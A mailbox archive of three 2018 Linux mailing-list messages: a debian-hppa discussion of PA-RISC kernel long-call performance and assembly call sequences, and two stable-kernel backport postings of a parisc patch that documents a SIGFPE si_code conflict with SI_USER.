Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Mar 18 14:29:55 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1exYNk-0002uz-NE
	for debian-hppa@m.gmane.org; Sun, 18 Mar 2018 14:29:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 44036209; Sun, 18 Mar 2018 13:32:00 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Mar 18 13:32:00 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 7A1CAD1
	for <lists-debian-hppa@bendel.debian.org>; Sun, 18 Mar 2018 13:31:51 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.21 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, BODY_8BITS=1.5, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, RCVD_IN_MSPIKE_H2=-0.001,
	T_RP_MATCHES_RCVD=-0.01, UNPARSEABLE_RELAY=0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 19FObt4GEWCi for <lists-debian-hppa@bendel.debian.org>;
	Sun, 18 Mar 2018 13:31:46 +0000 (UTC)
Original-Received: from mtlfep02.bell.net (belmont80srvr.owm.bell.net [184.150.200.80])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id C3C05EE
	for <debian-hppa@lists.debian.org>; Sun, 18 Mar 2018 13:31:45 +0000 (UTC)
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20180318133141.UURZ4484.mtlfep02.bell.net@mtlspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Sun, 18 Mar 2018 09:31:41 -0400
Original-Received: from [192.168.2.49] (really [70.31.74.127]) by mtlspm01.bell.net
          with ESMTP
          id <20180318133141.RWIU28394.mtlspm01.bell.net@[192.168.2.49]>;
          Sun, 18 Mar 2018 09:31:41 -0400
In-Reply-To: <e3b11e2e-490a-5882-2bfa-a199ae4a2634@bell.net>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=exAxv0+L8MI61oIUChyxXA==:17 a=IkcTkHD0fZMA:10 a=v2DPQv5-lfwA:10 a=FBHGMhGWAAAA:8 a=0KsXmiNVhNuSCbgnSuwA:9 a=W43bl635Sspt1jvy:21 a=Aij8N3WDb8ttlas9:21 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <tHB_Cci6RuP.A.1ZC.QpmraB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8680
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/bb7defc8-c53e-7842-a847-a4d792e634de@bell.net
Resent-Date: Sun, 18 Mar 2018 13:32:00 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7696 gmane.linux.ports.parisc:28343
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7696>

On 2018-03-16 9:37 AM, John David Anglin wrote:
> On 2018-03-16 7:25 AM, Helge Deller wrote:
>>>>> kernel  gcc     binutils    with mlong    without mlong
>>>>> 4.15.7  4.9.3   2.25.1     13.4 MB/s    27.0 MB/s
>>>>> 4.15.7  6.4.0   2.25.1     13.4 MB/s    27.0 MB/s
>>>>> 4.15.7  6.4.0   2.29.1     14.4 MB/s    25.0 MB/s
>>>> Interesting bad results!
>>> It's hard to understand why the performance would deteriorate so much
>>> but I see essentially the same behavior.
The performance difference between with and without long calls is 
exaggerated by the I/O
test used for the above results.  I see 22:05 and 21:39 hours for a gcc 
build and check with
and without kernel long calls on c8000, respectively.

I think the poor performance of long calls is primarily due to the loads 
which can trigger
TLB misses.  This implies we should work to minimize the impact of TLB 
flushes.
Flushing the whole TLB is quite detrimental to overall performance and 
it doesn't scale
well to multiple CPUs.  On rp3440, a pdc instruction takes about 570 
cycles because of
the broadcast to other CPUs.  So, we need to know whether a mapping is 
local and possibly
the set of CPUs a mapping applies to.

>> Speaking of debian kernel, it's nearly impossible to link a kernel 
>> without mlong-calls.
>>
>> Compiling without mlong-calls generates this (R_PARISC_PCREL22F):
>>          b,l external_func,%r2
>>          nop
> On PA 2.0, this is a 22 bit pc-relative call that has a branch 
> distance of 8 MB.  We have no stub support
> in the gnu 64-bit linker.  If we had stub support, this would be best 
> solution.
>
> In addition to the argument registers, the argument pointer needs to 
> be loaded for each call.
>
>>
>> With -mlong-calls it is much more complex:
>> .LC0:
>>          .dword  P%external_func
>> .globl a
>> a:
>>          addil LT'.LC0,%r27
>>          ldd RT'.LC0(%r1),%r28
>>          ldd 0(%r28),%r28
>>          ldd 16(%r28),%r2
>>          bve,l (%r2),%r2
> This is standard 64-bit indirect call.  It calls via a function 
> descriptor.  It assumes the PIC register may change
> and the callee may be in a different space (i.e., 64-bit hpux 
> runtime).  The bve instruction is specific to PA 2.0.
> b
> In the kernel, we probably don't need the load of the new PIC register 
> (omitted from the above).
We don't think we need function descriptors in the kernel.  They are 
only needed to load a new PIC register.
So, we can load the function address directly from the linkage table.

         addil LT'external_function,%r27
         ldd RT'external_function(%r1),%r2
         bve,l (%r2),%r2
         Delay slot

The above sequence is PIC.  It is the same length as the one suggested 
by Helge below and the
linker could convert it to Helge's sequence when the call is not 
external to the main linux kernel.
It does have one load that might trigger a TLB miss.

I don't know enough about the call sequences used to call functions in 
external modules but
it might be easier to do the relocation for the above.  It's probably 
already handled as the addil/ldd
sequence should already load the address of external_function.

It might also be possible to use a 32-bit PIC pc-relative sequence, but 
it is longer and 32-bit
pc-relative relocations might not be supported.

>
>>
>>
>> Since our kernel is running in the first 4GB of RAM (even on 64bit), 
>> couldn't we instead
>> introduce a gcc option, e.g. "-mkernel-indirect-calls", which 
>> translates to:
>>          ldil    L%external_func, %r2        // R_PARISC_DIR21L
>>          ldo     R%external_func(%r2), %r2   // R_PARISC_DIR14R
>>          bve,l (%r2),%r2
> Another option is to use ble (i.e., call sequence generated using 
> -mfast-indirect-calls).  It yields the same length
> call sequence as your above sequence and it works on both PA 1.x and 2.0.
>
> The above sequence is not PIC.  What about modules?
>
> In the above three sequences, there is a delay slot after the branch 
> which might be filled by the compiler with a
> useful instruction.
>>
>> Does -mfast-indirect-calls has any effect at all?
>> I haven't seen any difference when using this option.
> At the moment, this option only applies to the 32-bit compiler.
>>
>> Thoughts?
>
> I don't remember any huge increase in gcc build time with 
> -mlong-calls.  Calls don't usually dominate performance.
>
> Dave
>


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sasha Levin <Alexander.Levin@microsoft.com>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a conflict
 with SI_USER with SIGFPE
Date: Mon, 19 Mar 2018 15:49:14 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <20180319154645.11350-118-alexander.levin@microsoft.com>
References: <20180319154645.11350-1-alexander.levin@microsoft.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521474615 16920 195.159.176.226 (19 Mar 2018 15:50:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 15:50:15 +0000 (UTC)
Cc: "Eric W. Biederman" <ebiederm@xmission.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Sasha Levin <Alexander.Levin@microsoft.com>
To: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable@vger.kernel.org" <stable@vger.kernel.org>
Original-X-From: stable-owner@vger.kernel.org Mon Mar 19 16:50:11 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1exx34-0003pk-0z
	for glks-stable4@m.gmane.org; Mon, 19 Mar 2018 16:50:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934196AbeCSPwQ (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Mon, 19 Mar 2018 11:52:16 -0400
Original-Received: from mail-bl2nam02on0111.outbound.protection.outlook.com ([104.47.38.111]:9280
        "EHLO NAM02-BL2-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S934079AbeCSPuS (ORCPT <rfc822;stable@vger.kernel.org>);
        Mon, 19 Mar 2018 11:50:18 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=7MOEwcO1LoLuSMyABa93Th3qwdSMb7lSSLRoSXteXPk=;
 b=FvNb5LW5PuERCOr4c8dcxY00Sq0ytlFT2MpYmLwMDz6QNlUiFSmyCvQ7yDqA0uzDK6uXuU3DpqzBxufoQXQHAPJmCq/NPcRFpTtjUsDM/xP0Ci8KGFcsxnO2LXRxpp9JHBAF+AmCMmd6h0m92fS6LuhuABg6luCAcUHXsDosPQs=
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com (52.132.128.13) by
 DM5PR2101MB1109.namprd21.prod.outlook.com (52.132.130.19) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.631.0; Mon, 19 Mar 2018 15:50:06 +0000
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62]) by DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62%5]) with mapi id 15.20.0631.004; Mon, 19 Mar 2018
 15:50:06 +0000
Thread-Topic: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Thread-Index: AQHTv5nU1jM4TEEmbE2qukzwpEcuig==
In-Reply-To: <20180319154645.11350-1-alexander.levin@microsoft.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [52.168.54.252]
x-ms-publictraffictype: Email
x-microsoft-exchange-diagnostics: 1;DM5PR2101MB1109;7:w+hE0tQMAg4HJBBV3c/IqoZUZaK/NpMAp5+m3uZMTHzYNRibmpK83J1yYzUd22mki6c6MmPPzrvt9GmZsp7AngVnWr0lBSMVRbidzAliGV2rtfgqca3o+664cCUj+udS7zI7SdC3pwx5iykGTjwZiDoV37I+StQSHqUhEIrb5BuvhiAMuPPfqhg8HRCNuQPK5Nkq4k+6WO4Iuamd9vqo95VBjV+ZmPmcYqm6pilZdWoMsiTljwCjvMbXK1mBt4mX;20:6/r/2oXNpD/otaGLVcpnbF8uKHZ7XtKDXBoRHcXU9CckkAL5eTd95CngGdNBxltwbK2FQKfP5aNtfdEnW84w/fo0UmDN9bjL+x42ew1ip7bpdSfo/ZaSq8HcB1m9a4dsa7cys/rfd/BdmgI4vEahOOMzDia9MhbZ+XR+XGT9Bx8=
x-ms-office365-filtering-ht: Tenant
x-ms-office365-filtering-correlation-id: 55fa054a-03d0-46ec-1a36-08d58db11623
x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:(7020095)(4652020)(48565401081)(5600026)(4604075)(3008032)(4534165)(4627221)(201703031133081)(201702281549075)(2017052603328)(7193020);SRVR:DM5PR2101MB1109;
x-ms-traffictypediagnostic: DM5PR2101MB1109:
authentication-results: spf=none (sender IP is )
 smtp.mailfrom=Alexander.Levin@microsoft.com; 
x-microsoft-antispam-prvs: <DM5PR2101MB11092827E5D83C01798354CCFBD40@DM5PR2101MB1109.namprd21.prod.outlook.com>
x-exchange-antispam-report-test: UriScan:(28532068793085)(26323138287068)(89211679590171)(9452136761055)(84791874153150);
x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(8211001083)(61425038)(6040522)(2401047)(5005006)(8121501046)(3231221)(944501300)(52105095)(3002001)(93006095)(93001095)(10201501046)(6055026)(61426038)(61427038)(6041310)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(20161123562045)(20161123564045)(20161123558120)(6072148)(201708071742011);SRVR:DM5PR2101MB1109;BCL:0;PCL:0;RULEID:;SRVR:DM5PR2101MB1109;
x-forefront-prvs: 06167FAD59
x-forefront-antispam-report: SFV:NSPM;SFS:(10019020)(366004)(396003)(39860400002)(39380400002)(376002)(346002)(199004)(189003)(81166006)(10290500003)(107886003)(81156014)(106356001)(6506007)(8676002)(3846002)(36756003)(8936002)(97736004)(6116002)(1076002)(102836004)(68736007)(6666003)(3280700002)(2950100002)(3660700001)(478600001)(72206003)(59450400001)(2906002)(14454004)(966005)(76176011)(66066001)(8666007)(6512007)(6306002)(5250100002)(10090500001)(2501003)(53936002)(6486002)(6436002)(26005)(316002)(22452003)(305945005)(7736002)(4326008)(25786009)(86362001)(575784001)(86612001)(5660300001)(2900100001)(99286004)(54906003)(186003)(105586002)(110136005)(22906009)(217873001);DIR:OUT;SFP:1102;SCL:1;SRVR:DM5PR2101MB1109;H:DM5PR2101MB1032.namprd21.prod.outlook.com;FPR:;SPF:None;LANG:en;PTR:Info
 NoRecords;A:1;MX:1;
received-spf: None (protection.outlook.com: microsoft.com does not designate
 permitted sender hosts)
x-microsoft-antispam-message-info: nA6/g/HVO/zpIK/6UreIEVSNbSgnXnFrDCzZkD4LqunojCkO8ErZvUQ2MpB2a1v3x7SkSXIPs9UVHaws7Pja8WGynGTdLa7iL6OTW8TDfQVD3TLAo5JsHwIkNBefi2tMfw+bQdjeu36E20arN6Z/O6Rhvv+xBTc8Qjt39yYdhlNJYobmHedfh9buUut3H+3PKT7w4uNM7ro5WKc8JGJERn80p9f2miY1Df0CrohArrcWEIBiRYjZ6xu97tvxaCqSge+aYrizfA0orKtH1F5J5SWcg2g2PfeNhMt3kDl301jagnv4kqTmcQNNlkgkQ7vYiWQaLW23785mmYTSQKxp+w==
spamdiagnosticoutput: 1:99
spamdiagnosticmetadata: NSPM
X-OriginatorOrg: microsoft.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 55fa054a-03d0-46ec-1a36-08d58db11623
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Mar 2018 15:49:14.4447
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 72f988bf-86f1-41af-91ab-2d7cd011db47
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM5PR2101MB1109
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:270698 gmane.linux.kernel:2718327 gmane.linux.ports.parisc:28344
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/270698>

From: "Eric W. Biederman" <ebiederm@xmission.com>

[ Upstream commit b5daf2b9d1c9a2b4f03ca93f75913ba2da3b3eaa ]

Setting si_code to 0 results in a userspace seeing an si_code of 0.
This is the same si_code as SI_USER.  Posix and common sense requires
that SI_USER not be a signal specific si_code.  As such this use of 0
for the si_code is a pretty horribly broken ABI.

Further use of si_code =3D=3D 0 guaranteed that copy_siginfo_to_user saw a
value of __SI_KILL and now sees a value of SIL_KILL with the result
that uid and pid fields are copied and which might copying the si_addr
field by accident but certainly not by design.  Making this a very
flakey implementation.

Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
appropriate fields will reliably be copied.

This bug is 13 years old and parsic machines are no longer being built
so I don't know if it possible or worth fixing it.  But it is at least
worth documenting this so other architectures don't make the same
mistake.

Possible ABI fixes includee:
  - Send the signal without siginfo
  - Don't generate a signal
  - Possibly assign and use an appropriate si_code
  - Don't handle cases which can't happen

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Ref: 313c01d3e3fd ("[PATCH] PA-RISC update for 2.6.0")
Histroy Tree: https://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.=
git
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Sasha Levin <alexander.levin@microsoft.com>
---
 arch/parisc/include/uapi/asm/siginfo.h | 7 +++++++
 arch/parisc/kernel/traps.c             | 2 +-
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/u=
api/asm/siginfo.h
index 4a1062e05aaf..be40331f757d 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -8,4 +8,11 @@
=20
 #include <asm-generic/siginfo.h>
=20
+/*
+ * SIGFPE si_codes
+ */
+#ifdef __KERNEL__
+#define FPE_FIXME	0	/* Broken dup of SI_USER */
+#endif /* __KERNEL__ */
+
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8453724b8009..c919e6c0a687 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -629,7 +629,7 @@ void notrace handle_interruption(int code, struct pt_re=
gs *regs)
 			si.si_signo =3D SIGFPE;
 			/* Set to zero, and let the userspace app figure it out from
 			   the insn pointed to by si_addr */
-			si.si_code =3D 0;
+			si.si_code =3D FPE_FIXME;
 			si.si_addr =3D (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
 			return;
--=20
2.14.1


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sasha Levin <Alexander.Levin@microsoft.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc
Subject: [PATCH AUTOSEL for 4.14 91/97] signal/parisc: Document a conflict
 with SI_USER with SIGFPE
Date: Mon, 19 Mar 2018 15:56:31 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <20180319155411.12348-91-alexander.levin@microsoft.com>
References: <20180319155411.12348-1-alexander.levin@microsoft.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521475002 13339 195.159.176.226 (19 Mar 2018 15:56:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 15:56:42 +0000 (UTC)
Cc: "Eric W. Biederman" <ebiederm@xmission.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Sasha Levin <Alexander.Levin@microsoft.com>
To: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable@vger.kernel.org" <stable@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 19 16:56:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1exx9I-0003ML-Px
	for glk-linux-kernel-4@m.gmane.org; Mon, 19 Mar 2018 16:56:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S964996AbeCSP6l (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 19 Mar 2018 11:58:41 -0400
Original-Received: from mail-cys01nam02on0135.outbound.protection.outlook.com ([104.47.37.135]:19273
        "EHLO NAM02-CY1-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S934683AbeCSP51 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 19 Mar 2018 11:57:27 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=7MOEwcO1LoLuSMyABa93Th3qwdSMb7lSSLRoSXteXPk=;
 b=KNkjUGAN9NA+J95EP7tsfD7AoyfHbbUunPyva99FDj17JxxEHW2O3340ZDgFb7MUvnhkCv+dkfy41LhmK/VK4uruiWqum0lWAROndicV8gHSUk/gEMK8yibMfsCONli8hj9kNc/NA406Ba2pi+BNjtXVb3ikCcSmyKMamQ1k76I=
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com (52.132.128.13) by
 DM5PR2101MB1096.namprd21.prod.outlook.com (52.132.130.18) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.631.0; Mon, 19 Mar 2018 15:57:24 +0000
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62]) by DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62%5]) with mapi id 15.20.0631.004; Mon, 19 Mar 2018
 15:57:24 +0000
Thread-Topic: [PATCH AUTOSEL for 4.14 91/97] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Thread-Index: AQHTv5rZFLWqFTWbW0ub1xZCmJNBCg==
In-Reply-To: <20180319155411.12348-1-alexander.levin@microsoft.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [52.168.54.252]
x-ms-publictraffictype: Email
x-microsoft-exchange-diagnostics: 1;DM5PR2101MB1096;7:xIbIf791jWL/gxb3kgs8FkvFp83DD2xaSXmacbNXJ2OZ6BIyZEZH6tHZKXkJmHOdW9aPzbVQjA4wA9bkTcZ0UMHeMmEzmQbWsWZLytBMfWS7dbPb15fjV47/eWyHjwd1A5jKgyxIA0w8ihI9dE6USQ6xmtUDzd7xsmM2R5/mrpLn/z5T2x5Dj/8ibgUdGwWFeOSuryQjWcVszNnzAEvRb1CKaNiDGvdKOWb85c6MSTRsu9uTKUlP4NsN/4dNfH0M;20:ib9c1zsUv+XIB8RKnDo5Qq1HeQ0fEHzs5BQs4+CKBn4q//kbMYtB20x4BJNmXOAMkK8syWJi6lm9h+edzd2DPetkBjw9Y+PQ7m7V9GqFEikg94uB6Y6WhbTV2edDAxEqCq5hWqeepdekt8HV89oh8q4+bmxT0Eq+C1ihPUZSe44=
x-ms-office365-filtering-ht: Tenant
x-ms-office365-filtering-correlation-id: f7d93174-4bbd-4dcb-78e5-08d58db21b76
x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:(7020095)(4652020)(48565401081)(5600026)(4604075)(3008032)(4534165)(4627221)(201703031133081)(201702281549075)(2017052603328)(7193020);SRVR:DM5PR2101MB1096;
x-ms-traffictypediagnostic: DM5PR2101MB1096:
authentication-results: spf=none (sender IP is )
 smtp.mailfrom=Alexander.Levin@microsoft.com; 
x-microsoft-antispam-prvs: <DM5PR2101MB1096BD2F192B1F4A0F902881FBD40@DM5PR2101MB1096.namprd21.prod.outlook.com>
x-exchange-antispam-report-test: UriScan:(28532068793085)(26323138287068)(89211679590171)(9452136761055)(84791874153150);
x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(8211001083)(61425038)(6040522)(2401047)(5005006)(8121501046)(3231221)(944501300)(52105095)(3002001)(93006095)(93001095)(10201501046)(6055026)(61426038)(61427038)(6041310)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(20161123562045)(20161123564045)(20161123558120)(6072148)(201708071742011);SRVR:DM5PR2101MB1096;BCL:0;PCL:0;RULEID:;SRVR:DM5PR2101MB1096;
x-forefront-prvs: 06167FAD59
x-forefront-antispam-report: SFV:NSPM;SFS:(10019020)(979002)(346002)(39860400002)(396003)(366004)(376002)(39380400002)(189003)(199004)(86612001)(316002)(26005)(72206003)(4326008)(25786009)(110136005)(10290500003)(966005)(86362001)(54906003)(575784001)(59450400001)(14454004)(53936002)(36756003)(107886003)(3280700002)(22452003)(6506007)(5660300001)(68736007)(186003)(99286004)(478600001)(76176011)(6666003)(10090500001)(102836004)(2950100002)(6116002)(5250100002)(2501003)(97736004)(3660700001)(106356001)(81156014)(81166006)(8936002)(8676002)(7736002)(305945005)(2900100001)(105586002)(3846002)(1076002)(2906002)(6436002)(66066001)(6306002)(6512007)(8666007)(6486002)(22906009)(217873001)(969003)(989001)(999001)(1009001)(1019001);DIR:OUT;SFP:1102;SCL:1;SRVR:DM5PR2101MB1096;H:DM5PR2101MB1032.namprd
 21.prod.outlook.com;FPR:;SPF:None;LANG:en;PTR:InfoNoRecords;MX:1;A:1;
received-spf: None (protection.outlook.com: microsoft.com does not designate
 permitted sender hosts)
x-microsoft-antispam-message-info: yQYKq/NVYDRO38SBzTOt8KwCJdD5Y93OVclmVRb1TUaNW6YMkhOM8q2Sh3w7xArC2nCd2kV/F+9qy7Ji4lMuWb+15+hHKvp/Y1JjccrIQwwjz5vG+olJ78HsX20ncrT3dMyVj9STGCjVmqp1IV1rDOw44Q4iBf3brrQWOZCeDR0uKDUOFRTlbhhWRwRW6oUyfEiRDCJoknVnb3WGmGbQm9pAJsIUNJ1AbkPvwK9+wAqBWLBmMKv8VwnrVFiCPo2uvrLIe8kORJbMawSAemq+kCGm+mVdLNmg4G5AOVL/6qQR1613IHLE9ChpIGYe05mCZevsC5l/x96N/OhGwWy9PA==
spamdiagnosticoutput: 1:99
spamdiagnosticmetadata: NSPM
X-OriginatorOrg: microsoft.com
X-MS-Exchange-CrossTenant-Network-Message-Id: f7d93174-4bbd-4dcb-78e5-08d58db21b76
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Mar 2018 15:56:31.7597
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 72f988bf-86f1-41af-91ab-2d7cd011db47
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM5PR2101MB1096
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2718376 gmane.linux.kernel.stable:270744 gmane.linux.ports.parisc:28345
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2718376>

From: "Eric W. Biederman" <ebiederm@xmission.com>

[ Upstream commit b5daf2b9d1c9a2b4f03ca93f75913ba2da3b3eaa ]

Setting si_code to 0 results in a userspace seeing an si_code of 0.
This is the same si_code as SI_USER.  Posix and common sense requires
that SI_USER not be a signal specific si_code.  As such this use of 0
for the si_code is a pretty horribly broken ABI.

Further use of si_code =3D=3D 0 guaranteed that copy_siginfo_to_user saw a
value of __SI_KILL and now sees a value of SIL_KILL with the result
that uid and pid fields are copied and which might copying the si_addr
field by accident but certainly not by design.  Making this a very
flakey implementation.

Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
appropriate fields will reliably be copied.

This bug is 13 years old and parsic machines are no longer being built
so I don't know if it possible or worth fixing it.  But it is at least
worth documenting this so other architectures don't make the same
mistake.

Possible ABI fixes includee:
  - Send the signal without siginfo
  - Don't generate a signal
  - Possibly assign and use an appropriate si_code
  - Don't handle cases which can't happen

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Ref: 313c01d3e3fd ("[PATCH] PA-RISC update for 2.6.0")
Histroy Tree: https://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.=
git
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Sasha Levin <alexander.levin@microsoft.com>
---
